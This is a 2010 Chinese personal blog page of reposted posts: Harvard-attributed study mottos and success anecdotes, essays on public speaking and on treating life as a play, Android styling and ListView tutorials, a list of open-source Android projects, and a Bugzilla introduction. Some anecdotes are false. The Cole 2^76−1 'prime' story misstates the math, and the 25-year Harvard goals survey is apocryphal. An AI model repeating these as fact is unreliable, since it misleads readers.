5.学习时的苦痛是暂时的,未学到的痛苦是终生的。
6.学习这件事,不是缺乏时间,而是缺乏努力。
7.幸福或许不排名次,但成功必排名次。
8.学习并不是人生的全部。但既然连人生的一部分―――学习也无法征服,还能做什么呢?
9.请享受无法回避的痛苦。
10.只有比别人更早、更勤奋地努力,才能尝到成功的滋味。
11.谁也不能随随便便成功,它来自彻底的自我管理和毅力。
12.时间在流逝。
13.现在流的口水,将成为明天的眼泪。
14.狗一样地学,绅士一样地玩。
15.今天不走,明天要跑。
16.投资未来的人,是忠于现实的人。
17.受教育程度代表收入。
18.一天过完,不会再来。
19.即使现在,对手也不停地翻动书页。
20.没有艰辛,便无所获。

此刻打盹,你将做梦;而此刻学习,你将圆梦
哈佛老师经常给学生这样的告诫:如果你想在进入社会后,在任何时候任何场合下都能得心应手并且得到应有的评价,那么你在哈佛的学习期间,就没有晒太阳的时间。在哈佛广为流传的一句格言是“忙完秋收忙秋种,学习,学习,再学习。”
人的时间和精力都是有限的,所以,要利用时间抓紧学习,而不是将所有的业余时间都用来打瞌睡。
有的人会这样说:“我只是在业余时间打盹而已,业余时间干吗把自己弄得那么紧张?”爱因斯坦就曾提出:“人的差异在于业余时间。”我的一位在哈佛任教的朋友也告诉我说,只要知道一个青年怎样度过他的业余时间,就能预言出这个青年的前程怎样。
20世纪初,在数学界有这样一道难题,那就是2的76次方减去1的结果是不是人们所猜想的质数。很多科学家都在努力地攻克这一数学难关,但结果并不如愿。1903年,在纽约的数学学会上,一位叫做科尔的科学家通过令人信服的运算论证,成功地证明了这道难题。
人们在惊诧和赞许之余,向科尔问道:“您论证这个课题一共花了多少时间?”科尔回答:“3年内的全部星期天。”
同样,加拿大医学教育家奥斯勒也是利用业余时间作出成就的典范。奥斯勒对人类最大的贡献,就是成功地研究了第三种血细胞。他为了从繁忙的工作中挤出时间 读书,规定自己在睡觉之前必须读15分钟的书。不管忙碌到多晚,都坚持这一习惯不改变。这个习惯他整整坚持了半个世纪,共读了1000多本书,取得了令人 瞩目的成绩。

我荒废的今日,正是昨天殒身之人祈求的明日
闻名于世的约翰霍普金斯学院的创始人、牛津大学医学院的讲座教授、被英国国王册封为爵士的威廉。奥斯勒在年轻时,也曾为自己的前途感到迷茫。一次,他在读书时看到了一句话,给了他很大的启发。这句话是“最重要的就是不要去看远方模糊的事,而是做手边清楚的事。”
对此,哈佛提醒学生说“我荒废的今日,正是昨天殒身之人祈求的明日”。明天再美好,也不如抓住眼下的今天多做点实事。
获得哈佛大学荣誉学位的发明家、科学家本杰明。富兰克林有一次接到一个年轻人的求教电话,并与他约好了见面的时间和地点。当年轻人如约而至时,本杰明的房门大敞着,而眼前的房子里却乱七八糟、一片狼藉,年轻人很是意外。
没等他开口,本杰明就招呼道:“你看我这房间,太不整洁了,请你在门外等候一分钟,我收拾一下,你再进来吧。”然后本杰明就轻轻地关上了房门。
不到一分钟的时间,本杰明就又打开了房门,热情地把年轻人让进客厅。这时,年轻人的眼前展现出另一番景象―――房间内的一切已变得井然有序,而且有两杯倒好的红酒,在淡淡的香气里漾着微波。
年轻人在诧异中,还没有把满腹的有关人生和事业的疑难问题向本杰明讲出来,本杰明就非常客气地说道:“干杯!你可以走了。”
手持酒杯的年轻人一下子愣住了,带着一丝尴尬和遗憾说:“我还没向您请教呢……”
“这些……难道还不够吗?”本杰明一边微笑一边扫视着自己的房间说,“你进来又有一分钟了。”
“一分钟……”年轻人若有所思地说,“我懂了,您让我明白用一分钟的时间可以做许多事情,可以改变许多事情的深刻道理。”
珍惜眼前的每一分每一秒,也就珍惜了所拥有的今天。哈佛的这句话实际上揭示了一种人生哲学,那就是人生要以珍惜的态度把握时间,从今天开始,从现在做起。

觉得为时已晚的时候,恰恰是最早的时候
安曼曾经是纽约港务局的工程师,工作多年后按规定退休。开始的时候,他很是失落。但他很快就高兴起来,因为他有了一个伟大的想法。他想创办一家自己的工程公司,要把办公楼开到全球各个角落。
安曼开始一步一个脚印地实施着自己的计划,设计的建筑遍布世界各地。在退休后的三十多年里,他实践着自己在工作中没有机会尝试的大胆和新奇的设计,不停 地创造着一个又一个令世人瞩目的经典:埃塞俄比亚首都亚的斯亚贝巴机场,华盛顿杜勒斯机场,伊朗高速公路系统,宾夕法尼亚州匹兹堡市中心建筑群……这些作 品被当作大学建筑系和工程系教科书上常用的范例,也是安曼伟大梦想的见证。86岁的时候,他完成最后一个作品―――当时世界上最长的悬体公路桥―――纽约 韦拉扎诺海峡桥。
生活中,很多事情都是这样,如果你愿意开始,认清目标,打定主意去做一件事,永远不会嫌晚。

今天不走,明天要跑
在哈佛,教授们会时常提醒学生们要做好时间管理,并列举如下事例:
当今世界上最大的化学公司―――杜邦公司的总裁格劳福特。格林瓦特,每天挤出一小时来研究蜂鸟,并用专门的设备给蜂鸟拍照。权威人士把他写的关于蜂鸟的书称为自然历史丛书中的杰出作品。
休格。布莱克在进入美国议会前,并未受过高等教育。他从百忙中每天挤出一小时到国会图书馆去博览群书,包括政治、历史、哲学、诗歌等方面的书,数年如一日,就是在议会工作最忙的日子里也从未间断过。后来他成了美国最高法院的法官。
一位名叫尼古拉的希腊籍电梯维修工对现代科学很感兴趣,他每天下班后到晚饭前,总要花一小时时间来攻读核物理学方面的书籍。随着知识的积累,一个念头跃 入他的脑海。1948年,他提出了建立一种新型粒子加速器的计划。这种加速器比当时其他类型的加速器造价便宜而且更强有力。他把计划递交给美国原子能委员 会做试验,又再经改进,这台加速器为美国节省了7000万美元。尼古拉得到了1万美元的奖励,还被聘请到加州大学放射实验室工作。
在人生的道路上,你停步不前,但有人却在拼命赶路。也许当你站立的时候,他还在你的后面向前追赶,但当你再一回望时,已看不到他的身影了,因为,他已经跑到你的前面了,现在需要你来追赶他了。所以,你不能停步,你要不断向前,不断超越。
狗一样地学,绅士一样地玩
我们说要珍惜时间,努力为实现理想而打拼,但有一点要注意,那就是不要一味地拼命,也要有适度的休息和放松。对此,哈佛有个很贴切的说法,叫做“狗一样地学,绅士一样地玩”。话虽略显粗俗,但揭示的道理却很深刻。
在哈佛,虽然学习强度很大,学生们承受着很大的学习压力,但他们也不提倡学生把所有的时间都用来学习。他们认为,学要尽力,玩也不能忽视。哈佛的学生也 说,哈佛的课余生活要胜过正规学习。而哈佛也意识到适度的课外活动不但不会背离教育使命,而且还会给教育使命以支持。因此,他们提出要像“绅士一样地 玩”。
在哈佛,学生们除了紧张地学习,还会参加学校组织的多种艺术活动,比如音乐会、戏剧演出、舞蹈表演及各种艺术展览等,此外,哈佛每年还 会举办艺术节,以活跃学生的业余生活。这些充满着浓厚艺术氛围的活动不仅让学生接受了艺术教育和熏陶,而且提高了学生的艺术修养和审美能力。
哈佛的理念就是要求你在紧张的学习和工作后,能够暂时地完全忘记它们,像投入工作那样投入玩耍,尽情地放松。的确,在你尽心休闲的时候,所得到的体力和精力的恢复会为你下一阶段的奋斗增添无穷的动力。所以,在前进的路上,你不仅要勤奋努力,更要学会放松。

现在流的口水,将成为明天的眼泪
成功与安逸是不可兼得的,选择了其一,就必定放弃了另一结局。正像哈佛所提醒的那样:现在流的口水,将成为明天的眼泪。今天不努力,明天必定遭罪。
我的邻居查尔斯曾经在哈佛度过4年的大学时光,他现在就职于纽约的一家软件公司,做他最擅长的行政管理工作,九九读书人。不久前,他的公司被一家法国公 司兼并了。在兼并合同签订的当天,公司的新总裁宣布:“我们不会随意裁员,但如果你的法语太差,导致无法和其他员工交流,那么,不管是多高职位的人,我们 都不得不请你离开。这个周末我们将进行一次法语考试,只有考试及格的人才能继续在这里工作。”
散会后,几乎所有的人都拥向了图书馆,他们这时才意识到要赶快补习法语了。只有查尔斯像平常一样直接回家了,同事们都认为他已经准备放弃这份工作了,毕竟,哈佛的学习背景和公司管理层的工作经验会帮助他轻而易举地找到另一份不错的工作。
然而,令所有人都想不到的是,考试结果出来后,这个在大家眼中没有希望的人却考了最高分。原来,查尔斯在毕业后来到这家公司后,他在工作中发现与法国人 打交道的机会特别多,不会法语会使自己的工作受到很大的限制,所以,他很早就开始自学法语了。他利用可利用的一切时间,每天坚持学习,最终学有所获。
在哈佛,你从来看不到学生在偷懒,在消磨时间。当若干年后回想起曾经的梦想时,希望带给你的是无尽的欣慰笑容,而不是因蹉跎而流下的悔恨泪水。


投资未来的人,是忠于现实的人
作为世界知名的学府,哈佛十分强调要有长远眼光,为未来投资。要投资未来,就要定好未来的投资方向,也就是要及早地设定人生目标。没有目标,就谈不到发展,更谈不上成功。
哈佛大学曾进行过这样一项跟踪调查,对象是一群在智力、学历和环境等方面条件差不多的年轻人。调查结果发现:27%的人没有目标;60%的人目标模糊;10%的人有着清晰但比较短期的目标;其余3%的人有着清晰而长远的目标.
以后的岁月,他们行进在各自的人生旅途中。25年后,哈佛再次对这群学生进行了跟踪调查。结果是这样的:
3%的人,在25年间朝着一个方向不懈努力,几乎都成为社会各界的成功人士,其中不乏行业领袖和社会精英;10%的人,他们的短期目标不断地实现,成为 各个领域中的专业人士,大都生活在社会的中上层;60%的人,他们安稳地生活与工作,但都没有什么特别成绩,几乎都生活在社会的中下层;剩下27%的人, 他们的生活没有目标,过得很不如意,并且常常在抱怨他人,抱怨社会,当然,也抱怨自己。
其实,他们之间的差别仅仅在于:25年前,他们中的一些人就已经知道自己最想要做的是什么,而另一些人则不清楚或不很清楚。这个调查生动地说明了明确生活目标对于人生成功的重要意义。


posted @ 2010-09-01 09:19 MEYE 阅读(596) | 评论 (0)编辑 收藏

也谈谈如何做演讲

http://blog.zdnet.com.cn/html/99/421499-2886530.html

作为一个经常做演讲的人,我很高兴的看到CatChen在他的文章里介绍了如何做演讲。洪超大哥在MVP openday上的培训是非常好的,我没去成很可惜。

话说回来,演讲这事我一年大概搞个小100次,如果算上我的各种Cast则要更多,所以不才就在这里随便说说关于演讲的东西。

1.演讲的目的

正本清源的说,演讲这事的目的只有一个,就是让对方相信你让他相信的,赞同你提出的,反对你反对的。演讲是宣传的工具,宣传则是包装的工具,对好事我们所做的一切叫宣传,对坏事我们所做的一切叫炒作。但是本质上,两者做的是同一种事。也就是说,你演讲的目的大体只有一个,也就是宣传或者说炒作。如果你不赞同这一观点,可以参考下面的文字《什么是炒作》

2.演讲的技巧

演讲最重要的技巧就是了解你的受众,人们只希望听见自己希望听见的话,喜欢听见自己喜欢听见的话,记住自己愿意记住的话,而其它的话,则全是废话。牢记这一点有助于你进行演讲,在开始演讲之前,你非常有必要了解你的听众,他们是谁、为什么来着、想听什么?

为了不让这个事情说的像国产教科书,我简单的把这事做如下表述“你的记忆就像一幢房子,里面是精装修,家具电器一应俱全,就是没有男主人,后来天长日久就老旧了,你选择性记忆把那些你觉的好的留下了,然后对记忆修饰一新,涂上腻子雕梁画栋,没事的时候还不断拉人来参观粉饰太平,最后你也分不清那些是原来的哪些是后弄的。简单的说,你把自己给糊弄了。”

大体上,我们在成长和衰老过程中进行着不断肯定的自我记忆修复,我们不断回忆自己做的好的往事,然后通过这一肯定让自己有继续生活的勇气,少部分人因为脑部受了损伤,总是记住自己做的坏事,然后自我否定,我们一般称呼这种病为“抑郁症”,患者都有自杀倾向,要吃百忧解才能继续生活,不幸的是,越是善于客观、理智思考的人,越不能随便忘记过失和盲目自我肯定,这也就造就了的他们早夭。人类社会千百年来没什么进步,且一茬不如一茬的根本症结就在于此。

2.1 做好自我定位

我们人类社会大体是分小圈子的,一个人的穿着打扮就说明了他的小圈子,你在演讲的时候,你和你受众必须是一个小圈子,否则一切说法就无从谈起,不信的话,你可以参考那些到处游说的职业政客,每个人走进工人的时候都是蓝领子的衬衫,走向农民的时候都是灰色尼龙绸夹克,绝对不会穿衬衫和西装。跟知识分子握手的时候则必然西装笔挺,还要带着领结。要知道,这些随着外部环境变化的形象工程是演讲成功的关键,你传的衣服,行为举止让对方感觉你不是这个圈子的,则你不用开口,就已经输了。

2.2 目标导向明确

演讲要有宣传的目的,我一开头就说了,这里再强调并非是说还要在演讲中不断的强调你的目标,刚好相反,你应该尽量回避告诉你的听众你的目标,外国PPT开头最喜欢告诉受众,我这个PPT要讲的内容是什么,然后1.2.3一列举,坦白讲,这种演讲的影响力其实很有限,因为听众会在一开头就知道,哦,原来你要讲这些啊,而且会根据内容选择性收听或者不听,因为他们想,反正我有PPT可看,还听你废话干什么。外国这么搞当然是有原因的,因为外国人是实在,来听演讲一定就是来听演讲,一定一心一意的,因为他们是自愿来的,他们对这个演讲感兴趣,但是多数情况下,来听你演讲的同胞们很多情况下完全是因为“无聊,被迫,不来听就要去干活”等等纯粹的消极因素来听演讲。所以对他们来说,PPT前面的123可以跟讲的东西完全不搭调,123是给他们一个来的理由,而他们听到的东西则决定了他们的反馈。

除了不要照本宣科以外,我还得说,演讲的诀窍之一就是把你的目的弄成简单的口号,人们对母语中有韵脚的语序有特殊的好感,大脑会选择记住他们,并且简短的东西便于口口相传,比如“不要迷恋哥,哥只是传说。”十个字,体现了很高的境界,再比如“哥抽的不是烟,燃烧的是寂寞。”11个字,体现了品位,最后比如“做人勿装B,装B被雷劈”10个字,提前了对以上所有说法的否定,如果你想让你的演讲也能深入人心,那么一定要把主题弄在10个字里,并且让他们押韵,比如…

3.演讲常见悖论

演讲需要做大量准备,反复对这镜子练习,注意观察自己的口型和神态。

凡提供这一说法的都是上过MBA课,或者被外国人忽悠了,大体上国外进口的演讲入门书籍里都这么说,这种说法很适合受众固定,内容统一的演讲,也就是说,如果你长年累月就说着一套话,那么再最开始,你应该可以通过这样准备而获得比较好的提高。但是,实际上,多说情况下,这种准备对你的帮助有限,对演讲的内容最好的准备是,在演讲之前对稿子熟练,然后扩充各种相关内容,仔细分析各种相关书籍和文章,尽量在演讲的时候说听众没想到或者没听说过的。这比口型神态什么的管用的多。

演讲需要口齿清楚,逻辑流畅,这样才能打动人。

有兴趣的人可以参加一下安利的讲座,或者跟保险推销员以及任何直销销售人员聊天,如果您有机会现场听学校辅导员老师讲课,则您更会理解我说的内容。这里就不多谈了。

演讲只是交流的手段,演讲的目的是为了交流,激荡出智力的火花。

这跟两个已经势同水火的平级领导在年会上频频碰杯,并高呼“我们是一个Team”,或者一对早就貌合神离却总在媒体前如胶似漆,还说“我们一直很恩爱”的演员伉俪一样。这种说法源于虚伪,其实更像那些想骗你钱的打电话给你推销东西的人说的一样,“我们都是为你好。”

以上是我关于演讲能想起来的大部分细节,最后还有一句老话,卖油的大爷说的“无他,手熟尔。”勤学苦练总是一个亘古不变的好方法。

下面说说题外话,面试的紧张。

任何人面试都紧张,因为要被质问,谁都不喜欢被质问,另外就是心里很想得到这个工作很怕失去这个机会,其实站在人生这个长度看问题,面试连小插曲都算不上,顶多算打一个喷嚏,既不新鲜也不有趣。任何机会如果被标上“一旦错过,永不可能”,则应该坦然让这机会走开,因为谁也不能妄论别人的生死乃至前程,世界充满未知和不确定,一份工作的得失其实微不足道,人,无论伟大或者渺小,最后都是一个终极目标,所以在这过程中尽力耍宝就好,压根用不着为了别人的评价烦恼。

posted @ 2010-08-26 19:25 MEYE 阅读(407) | 评论 (0)编辑 收藏

人生如戏,谈如何面对困难

转自:http://blog.zdnet.com.cn/html/99/421499-type-index.html

看见好多人都说困难,家里困难,工作困难,等等逐日此类不一而足,我也随便说两句,我得看法,怎么解决外部环境问题,战天斗地这些我不想说了,我就想说说自己怎么调整心态吧。

其实调整心态挺简单的,就四个字,人生如戏。

人生如戏何解呢,也很简单,就是把你现在所发生的事都当一处话剧,你,你爸爸,你妈妈,你同事,你朋友,你领导,你下属,你老婆,你情人,其实都是演员,大伙兴冲冲的你方唱罢我登场,其实都是演戏,没人跟你来真的,也没有真的。你也就演这几十年,演好演坏无所谓,反正最后都是眼一闭腿一蹬,所以得想开。

当然这话说着容易做着难。首先是得知道自己演的什么角色,您在外面威风八面,回家都得演孝子贤孙,中国人讲究这个。所以记得跟你爸爸妈妈说话的时候要当孝子贤孙,所谓孝是孝敬,尊敬的程度多一点。不是孝顺,没有顺从的必要。你一完全行为能力责任人,你干什么都可以自己负责,压根不用你爸爸妈妈操心。为了避免老有人说看不懂,我再说透亮点。你爸你妈说什么,就答应什么,回头一扭脸,你演别的角色了,就完全不用管答应过他们什么了,因为那是俩角色,不能混着来,你爸你妈苦口婆心跟你说,也是他们的责任,他们作为老演员演了几十年,眼看到最后一班岗了,非得站的敬业一点才好。敬着他们,就是说什么都答应,不顺着他们,就是只捡自己觉得好的做。

角色一时一变,语言、行动也得跟着变。上班的时候你是个积极的程序员,跟你女朋友在一起的时候你就是好男朋友、好老公,这俩角色不交叉,台词也不能混着来,不信你跟你同事聊韩剧,跟女朋友聊.NET,你肯定得倒霉。好多人犯拧巴,非得一天到晚一个腔调,这就是所谓没事找抽型,活该别人不给你好脸色。

跟女朋友打完电话,你又摇身一变成积极青年了,大半夜不睡觉,你得学习新技术,这时候问你女朋友叫什么,你都不用搭理他,因为你这会不演这个角色,这个角色的台词你就不需要记得。

大部分的角色其实都挺好找的,人家一叫你,你一答应就全找到了。人家叫你儿子,你就知道你演儿子呢,人家叫你孙子,你就知道你演孙子呢,人家叫你老公,你就知道你演老公呢,人家叫你SB,你就知道,你演SB呢。前三种都知道怎么演,就最后一种好多人拿不住,人家一叫他这个他就不知道怎么办了,你想想看,一个SB没思考能力,能怎么办?这事稍微一过脑子就能明白,低等动物受到攻击怎么办,脊椎反射都知道,挨骂就骂回去挨打就打回去,不用担心什么礼貌一类,因为你在演一个SB。

诸如此类,社会角色也定义了,演也演了,好多人不满意,非要当角儿,要跟一帮演员里拔得头筹,觉得不这样不算混这一场演出。要我说这事没必要,大伙都是演这一阵,谁知道谁什么时候就下场了。为这点电光石火之间的事争长短,犯不上。

最后就是演着演着好多人谢幕了,有些老演员匆匆忙忙就谢幕了,有些提前还假装不舒服,让演医生的出来串串场,有些则干脆不打招呼就溜号了,这时候你也别太难过,这不是没有戏德的表现,实在是老演员太辛苦了,演了那么长时间,需要休息,你也别难过,没准哪天就在街上碰见了,虽然彼此都装着不认识,但是心里还是认识的。我小时候就这么想,所以姥姥姥爷走了以后不怎么难过,今天我劝大家都这么想,也许就少难过一点。(要依着我自己写,这句话就不加,但又怕说看不懂)

对于女朋友,人家漂亮姑娘肯定得赶场,档期实在排不开就不能陪你演着一阵你也更不用难过,人家跟谁不是演这一阵子啊,换句话说,你不是得找那个能跟你演一辈子的吗,所以别着急。别犯牛劲。

然后就是事业不顺,那就更看得开了。韩信跟漂母讨饭,秦琼卖马,赵匡胤跟街上摆象棋摊,哪个大人物不是从挫折戏演起的,换句话说,没有挫折戏这一出,哪能体现后面飞黄腾达的刺激呢,所以演这出戏是必由之路,一旦导演给您派了这出戏,您应该高兴,那是您要飞黄腾达的了,这会忍住以后就能吃香的喝辣的。

况且导演哪能真把您逼得绝路上,前面肯定给您安排了峰回路转的情节,无论如何都得静观其变,中途罢演那就没劲了。

最后就是希望大家都好,别管有钱没有,有吃的没有,总把这一切都当成一出戏,有演的有看的,就能乐在其中,其乐融融了。


posted @ 2010-08-26 19:23 MEYE 阅读(413) | 评论 (0)编辑 收藏
     摘要: [转载:]   http://www.ideasandroid.com/?p=328 本文将介绍在android平台下如何实现多线程下载,大家都知道,android平台使用java做为开发语言,所以java中支持的多线程下载方式在android平台下都支持,其中主要有两种方式可以实现多线程下载。 一种方式是使用很多个线程分别下载文件的不同部分,最后把所有下载完的文件合并成一个文...  阅读全文
posted @ 2010-08-17 17:16 MEYE 阅读(2354) | 评论 (0)编辑 收藏

样式是用于描述一个View或是一个窗口的显示属性的集合,样式可以指定如高度,填充,字体颜色,字体大小,背景颜色等属性。样式是从布局文件中分离出来的一个XML资源文件。Android中的样式就像Web开发中的css样式表,它使用我们的样式独立于内容进行设计开发。
例如,通过使用一个样式可以让如下的布局文件

<TextView
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:textColor="#00FF00"
    android:typeface="monospace"
    android:text="@string/hello" />

简化为:

<TextView
    style="@style/CodeFont"
    android:text="@string/hello" />

所有和样式有关的属性都被从布局XML文件中移动到一个叫“CodeFont”的样式定义中,然后使用一个style属性指定样式名称。你将会在以下的内容中看到如何定义一个样式。

应用于一个Activity或应用程序的样式称为主题(theme),而不是刚才说的一个View。所有在当前Activity或应用下的视图(VIEW)都会应用相同的主题样式。例如,您可以让一个Activity使用”CodeFont”主题,那么这个Activity下的所有视图的的文本都将是绿色等宽字体。

定义样式

定义样式我们需要在 res/values/目录下新建一个XML文件,文件名自已随便命名,但必须以.xml为文件后缀。Xml的根节点必须为
我们用style标签来定义一个样式,用标签来定义样式属性。如下所示:

<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="CodeFont" parent="@android:style/TextAppearance.Medium">
<item name="android:layout_width">fill_parent</item>
<item name="android:layout_height">wrap_content</item>
<item name="android:textColor">#00FF00</item>
<item name="android:typeface">monospace</item>
</style>
</resources>

Style标签的name属性是必须有的,节点可以定义颜色、高度或者是另一个资源的引用。所有节点的子节点在编译时都会做为应用程序的一个资源。所以我们可以通过style节点的name属性值来引用这个资源。比如在布局文件中使用@style/CodeFont来引用这个样式。parent 属性是可选的,用它来标识本样式是继承哪个样式,在父样式中的所有属性都将被应用于本样式中,同时可以覆盖父样式中的样式(和java的继承相似)。

样式的继承
这里有两种方式可以实现样式继承,如上例中所示的,我们可以在定义样式时使用parent属性来继承样式,使用这种方式,我们可以继承一个我们自己定义好的样式,也可以继承一个android平台自带的样式(后文中会介绍android平台自带的所有样式)。如下所示,我们继承一个android平台默认的文本样式,并把它的字体颜色改为我们需要的颜色。

<style name="GreenText" parent="@android:style/TextAppearance">
<item name="android:textColor">#00FF00</item>
</style>

另一种继承的方式是使用用户自定义的样式作为前缀即可。这种方式只适用于继承用户自定义样式。如下所示:

<style name="CodeFont.Red">
<item name="android:textColor">#FF0000</item>
</style>

这样,新定义的样式就会继承CodeFont样式的所有属性,然后把字体颜色变为#FF0000。我们可以这样引用新的样式: @style/CodeFont.Red
相同的方法,我们可以再继承下去,如下所示:

<style name="CodeFont.Red.Big">
<item name="android:textSize">30sp</item>
</style>

这样新的样式文子的大小就和CodeFont.Red样式不同了。

样式属性

到这里为止,你已经知道了如何定义一个样式,你还需要知道有多少种样式属性可以通过节点来定义。你可能已经对其中的一些比较熟悉了,如layout_width 、textColor等。当然,还有很多的样式属性是你可以使用的。

最好的方法查询一个视图支持哪些样式属性的方法是查询视图类的文档中XML Attributes表格,如TextView的XML attributes如链接中所示: http://www.ideasandroid.com/android/sdk/docs/reference/android/widget/TextView.html#lattrs

如需所有可用的样式属性的,请参阅R.attr: http://www.ideasandroid.com/android/sdk/docs/reference/android/R.attr.html
不是所有的视图都支持上面的样式属性,如果遇到不支持的样式属性,您定义的属性将会被忽略。

应用样式和主题

应用样式和主题的方法很简单,在布局定义文件(layout)中,使用style属性直接引用样式资源,如下所示:

<TextView
    style="@style/CodeFont"
    android:text="@string/hello" />

在AndroidManifest.xml文件中可以引用样式主题,可以为一个Activity定义一个主题,也可以为整个应用程序定义一个主题,如下所示:

<application android:theme="@style/CustomTheme">

或者:

<activity android:theme="@style/CustomDialogTheme">

Android平台的样式和主题

样式见:http://www.ideasandroid.com/android/sdk/styles.xml
主题见:http://www.ideasandroid.com/android/sdk/themes.xml

posted @ 2010-08-17 17:14 MEYE 阅读(1075) | 评论 (0)编辑 收藏

ListView的Adapter的作用如下图所示:

Adapter的作用就是ListView界面与数据之间的桥梁,当列表里的每一项显示到页面时,都会调用Adapter的getView方法返回一个View。想过没有? 在我们的列表有1000000项时会是什么样的?是不是会占用极大的系统资源?

先看看下面的代码:

public View getView(int position, View convertView, ViewGroup parent) {
View item = mInflater.inflate(R.layout.list_item_icon_text, null);
((TextView) item.findViewById(R.id.text)).setText(DATA[position]);
((ImageView) item.findViewById(R.id.icon)).setImageBitmap(
(position & 1) == 1 ? mIcon1 : mIcon2);
return item;
}

怎么样?如果超过1000000项时,后果不堪设想!您可千万别这么写!

我们再来看看下面的代码:

public View getView(int position, View convertView, ViewGroup parent) {
if (convertView == null) {
convertView = mInflater.inflate(R.layout.item, null);
}
((TextView) convertView.findViewById(R.id.text)).setText(DATA[position]);
((ImageView) convertView.findViewById(R.id.icon)).setImageBitmap(
(position & 1) == 1 ? mIcon1 : mIcon2);
return convertView;
}

怎么样,上面的代码是不是好了很多?系统将会减少创建很多View。性能得到了很大的提升。

还有没有优化的方法呢? 答案是肯定的:

public View getView(int position, View convertView, ViewGroup parent) {
ViewHolder holder;
if (convertView == null) {
convertView = mInflater.inflate(R.layout.list_item_icon_text, null);
holder = new ViewHolder();
holder.text = (TextView) convertView.findViewById(R.id.text);
holder.icon = (ImageView) convertView.findViewById(R.id.icon);
convertView.setTag(holder);
} else {
holder = (ViewHolder) convertView.getTag();
}
holder.text.setText(DATA[position]);
holder.icon.setImageBitmap((position & 1) == 1 ? mIcon1 : mIcon2);
return convertView;
}
 
static class ViewHolder {
TextView text;
ImageView icon;
}

怎么样?会不会又给您的系统带来很大的提升呢?看看下面三种方式的性能对比图您就知道了!

本文是Google I/O 2009 Romain Guy 所讲的内容,这里只做简单介绍,相信一看代码就能看懂!有问题请留言!

posted @ 2010-08-17 17:13 MEYE 阅读(2906) | 评论 (1)编辑 收藏
     摘要: 当您需要在您的应用程序中提供搜索服务时,您第一个想到的是您的搜索框要放哪呢?通过使用Android的搜索框架,应用程序将显示一个自定义搜索对话框来处理用户的搜索请求。通过一个简单的搜索按钮或从您的应用程序中调用API,搜索对话框就会显示在屏幕的顶部,并会自动显示您的应用程序图标。如下图所示: 本文将教你如何为你的应用程序提供一个自定义搜索对话框。这样做,给您的用户提供一个标准化的搜索体验,并...  阅读全文
posted @ 2010-08-17 17:12 MEYE 阅读(1019) | 评论 (0)编辑 收藏

Android开发又将带来新一轮热潮,很多开发者都投入到这个浪潮中去了,创造了许许多多相当优秀的应用。其中也有许许多多的开发者提供了应用开源项 目,贡献出他们的智慧和创造力。学习开源代码是掌握技术的一个最佳方式。下面推荐几个应用开源项目,这些项目不仅提供了优秀的创意,也可以直接掌握 Android内核的接口使用:

1.Android团队提供的示例项目

如果不是从学习Android SDK中提供的那些样例代码开始,可能没有更好的方法来掌握在Android这个框架上开发。由Android的核心开发团队提供了15个优秀的示例项 目,包含了游戏、图像处理、时间显示、开始菜单快捷方式等。 
地址:http://code.google.com/p/apps-for-android/

2.Remote Droid

RemoteDroid是一个Android应用,能够让用户使用自己的无线网络使用无线键盘、触摸屏操作手机。这个项目为开发者提供了如网络连接、触 摸屏手指运动等很好的样例。 
地址:http://code.google.com/p/remotedroid/

3.TorProxy和Shadow 
TorProxy应用实现了Android手机无线电电传通讯(TOR),和Shadow应用一起使用,可以使用手机匿名上网。从该项目源代码中,可以 掌握socket连接、管理cookie等方法。 
地址:http://www.cl.cam.ac.uk/research/dtg/code/svn/android-tor/ 
http://www.cl.cam.ac.uk/research/dtg/android/tor/

4、 Android SMSPopup 
SMSPopup可以截获短信内容显示在一个泡泡形状的窗口中。从这个项目中可以掌握到如何使用内置的短信SMS接口。 
地址:http://code.google.com/p/android-smspopup/

5、 Standup Timer 
Standup Timer应用用于控制站立会议时间,类似秒表倒计时,可以提醒每个人的讲话时间已到,从而保证每个与会者使用时间一样。从该项目的代码中,可以学会如何 使用时间函数。另外,这个项目的代码是采用视图view、模型model严格分离的设计思路。 
地址:http://github.com/jwood/standup-timer

6、 
是.com的一个客户端应用,该应用主要分为两个模块API(com.joelapenna.foursquare)和界面前端 (com.joelapenna.foursquared)两部分。从该项目代码中,可以学会如何同步、多线程、HTTP连接等技术。 
地址:http://code.google.com/p/foursquared/

7、 Pedometer 
Pedometer应用用于记录你每天走路步数的。尽管记录不一定精准,但是从这个项目中,可以学习几个不同的技术:加速器交互、语音更新、后台运行服 务等。 
地址:http://code.google.com/p/pedometer/  

8、 OpenSudoku-android 
OpenSudoku是一个简单的九宫格数独游戏。从代码中可以学习到如何在视图中显示表格数据,以及如何和一个网站交互等技术。 
地址:http://code.google.com/p/opensudoku-android/

9、 ConnectBot 
ConnectBot是Android平台的一个客户端安全壳应用。从该项目代码中,可以学习到很多Android安全方面的内容,这些是你在开发应用 时经常需要考虑的安全问题。 
地址:http://code.google.com/p/connectbot/

10、 WordPress的Android应用 
当然在最后不能不提WordPress的Android应用了,这是WordPress官方开发团队提供的一个项目。从代码中可以学习到XMLRPC调 用(当然还有更多的优秀内容)。 
地址:http://android.svn.wordpress.org/trunk/

posted @ 2010-08-17 17:06 MEYE 阅读(531) | 评论 (0)编辑 收藏
Ubuntu环境安装配置Bugzilla

http://www.bugzilla.org/download/#v218

http://www.bugzilla.org/download

1 Bugzilla简介
1.1 产生
Bugzilla是一个共享的免费的产品缺陷记录及跟踪工具。由Mozilla公司提供。创始人是Terry Weissman,开始时使用一种名为“TCL”的语言创建的,后用Perl语言实现,并作为Open source发布。
1.2 特点
Bugzilla能够为你建立一个完善的bug跟踪体系,包括报告bug、查询bug记录并产生报表、处理解决bug、管理员系统初始化和设置四部分。Bugzilla具有如下特点:
1.基于Web方式,安装简单、运行方便快捷、管理安全。
2.有利于缺陷的清楚传达。本系统使用数据库进行管理,提供全面详尽的报告输入项,产生标准化的bug报告。 提供大量的分析选项和强大的查询匹配能力,能根据各种条件组合进行bug统计。当缺陷在它的生命周期中变化时,开发人员、测试人员、及管理人员将及时获得 动态的变化信息,允许你获取历史记录,并在检查缺陷的状态时参考这一记录。
